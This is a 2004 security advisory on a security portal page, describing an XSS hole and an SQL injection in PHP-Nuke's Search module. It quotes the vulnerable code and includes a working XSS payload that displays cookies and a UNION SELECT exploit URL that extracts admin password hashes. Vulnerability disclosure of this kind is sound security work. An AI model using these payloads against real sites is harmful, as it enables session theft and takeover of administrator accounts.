Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 19, 2013
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: frankvue25
New Today: 1
New Yesterday: 3
Overall: 8616

People Online:
Visitors: 185
Members: 2
Total: 187

Online Now:
01: pirate-sky - Homepage
02: skullcanemaker - Forums
milw0rm
·[web applications] - Moa Gallery 1.2.6 Multiple Vulnerabilities
·[web applications] - ZPanel Crafted Template Remote Command Execution Vulnerability
·[dos / poc] - nginx 1.3.9-1.4.0 DoS PoC
·[web applications] - CKEditor < 4.1 Drupal 6.x & 7.x - Persistent XSS Vulnerability
·[web applications] - Wordpress hd-player 0day Exploit
·[web applications] - Exponent CMS 2.2.0 Beta 3 LFI / SQL Injection Vulnerabilities
·[remote exploits] - SSH User Code Execution Vulnerability
·[remote exploits] - Mutiny 5 Arbitrary File Upload Vulnerability
·[web applications] - Wordpress Newsletter 3.2.6 Cross Site Scripting Vulnerability
·[local exploits] - Kloxo 6.1.12 Privilege Escalation Vulnerability

read more...
PacketStorm News
·Red Hat Security Advisory 2013-0832-01
·RSA SecurID Sensitive Information Disclosure
·EMC VNX / Celerra Control Station Privilege Escalation
·Ubuntu Security Notice USN-1831-1
·Red Hat Security Advisory 2013-0831-01
·Ubuntu Security Notice USN-1830-1
·Red Hat Security Advisory 2013-0830-01
·Ubuntu Security Notice USN-1829-1
·Slackware Security Advisory - mozilla-thunderbird Updates
·Slackware Security Advisory - mozilla-firefox Updates

read more...
[waraxe-2004-SA#035] - Multiple security holes in PhpNuke - part 2





Author: Janek Vind "waraxe"
Date: 17. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=35


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will look @ security holes - 1 XSS and 1 sql inject case -
in "Search" module.


A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - xss in "/modules/Search/index.php":

Open search page in phpnuke:

http://localhost/nuke73/modules.php?name=Search

and enter to input field something like this:

1"><body onload="alert(document.cookie);

In case of other browsers than IE xss exploiting method can be modified, but one thing
is sure - xss case exists here...


B - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - critical sql injection case in "/modules/Search/index.php":

Well, let's look at source code from that script:

----------------[ original source ]-----------------
} elseif ($type == "comments" AND isset($sid)) {
$res = $db->sql_query("select title from ".$prefix."_stories where sid='$sid'");
list($st_title) = $db->sql_fetchrow($res);
$instory = "AND sid='$sid'";
echo "<center><font class="title"><b>"._SEARCHINSTORY." $st_title</b></font></center><br>";
} else {
echo "<center><font class="title"><b>"._SEARCHIN." $topictext</b></font></center><br>";
}
----------------[/original source ]-----------------

So - if search type is "comments" and there is no "sid" specified, then sql query
fragment "instory" is not initialized. Now, let's look further:


----------------[ original source ]-----------------
} elseif ($type=="comments") {
...
...
$result8 = $db->sql_query("SELECT tid, sid, subject, date, name from
".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%')
$instory order by date DESC limit $min,$offset");
...
...
----------------[/original source ]-----------------

What is here, is a typical case of uninitialized variable - "instory".
It's time to turn this little bug to something evil:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=comments&
query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

----------------[/real life exploit ]---------------

... and we see all the secret information about admins :)

Have a nice day!


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Fixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (12588 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2405
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 481
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 371
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Linux Kernel CVE-2013-2094 Local Privilege Escalation Vulnerability
·Vuln: OpenStack Keystone Tokens Validation Security Bypass Vulnerability
·Vuln: RETIRED: ownCloud Multiple Security Vulnerabilities
·Vuln: OpenStack Compute (Nova) CVE-2013-2096 Denial of Service Vulnerability
·Bugtraq: CONFidence - May, 28-29, Krakow, Poland - a conference adventure that never stops!
·Bugtraq: [slackware-security] ruby (SSA:2013-136-02)
·Bugtraq: [slackware-security] mozilla-thunderbird x86_64 packages (SSA:2013-136-01)
·Bugtraq: APPLE-SA-2013-05-16-1 iTunes 11.0.3
·More rss feeds from SecurityFocus

read more...
alexa



It book reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.046 Seconds